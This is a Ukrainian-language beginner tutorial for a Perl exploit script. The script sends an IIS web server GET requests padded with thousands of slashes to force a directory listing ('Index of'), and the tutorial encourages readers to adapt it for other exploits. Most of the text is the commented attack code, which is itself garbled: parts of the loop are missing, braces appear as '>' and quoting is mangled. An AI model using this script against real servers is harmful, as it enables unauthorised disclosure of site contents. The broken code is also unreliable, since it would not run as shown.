Експлоїт на Perl для початківців #2
#!/usr/bin/perl #цей рядок вказує на місце розташування Перла в твоїй системі use IO::Socket; #Підключаємо бібліотеку для роботи з сокетами (в даному контексті «з Мережею») $low = 4000; #Ініціалізуємо змінну яка вказує на нижню межу кількості «/» яку ми посилатимемо $hi = 5000; #Те ж саме, але для максимальної кількості $port = 80; # Порт до якого підключатимемося. (саме на ньому повинен бути запущений IIS сервер) $host = «www.ABRACADABRA.ru»; #Адреса сервера
while($low new(PeerAddr => $host, PeerPort => $port, Proto => «TCP») or die «Connect Failed»; #Цей рядок ініціалізує сокет, і для всіх скриптів один і та ж.
$url = ""; # Обнулюємо значення змінних url, buffer і end $buffer = «»; $end = "";
$url = "GET"; # Ми надсилатимемо серверу GET запит $buffer = «/» x $low . "HTTP/1.0\n"; #У цьому рядку змінної буфер надається результат операції «.», яка просто об'єднує два рядки в один. Вираз «/» x $low створить рядок із low пробілів. $end = "n\r\n"; #Запрошений запит повинен закінчуватися цією послідовністю символів. Це просто двічі «повернення каретки. переклад рядка"
$url = $url . $buffer. $ end; #Об'єднуємо три рядки в один
print $socket "$url"; #Таким чином Перл відправляє в сокет рядок. while( ) #Построчно читаємо відповідь від сервера if($_ =
«Index of») #Якщо у відповіді є рядок «Index of», то виводимо ту кількість слешів, яка дозволила нам її побачити… Якщо написати print $_ , то нам покажуть весь рядок. ($_ — змінна, що використовується за умовчанням.) print «Число знайдено: $low\n»; close($socket); #Закриваємо сокет exit; #Виходимо з програми > > close($socket); $low++ # Додаємоодиницю до значення змінної low, і наново надсилаємо запит. >
Навіть така маленька програмка відбиває специфіку Перла як мови програмування. Зокрема хочу зазначити, що структура умовного оператора while така: while (умова) і саме з цим пов'язана така кількість круглих і фігурних дужок у тексті програми. У принципі наведена програма не дуже складна навіть для початківців, тому я думаю що ти без особливих зусиль зможеш доповнити її діагностичними повідомленнями, або навіть переробити для реалізації іншого експлоїту.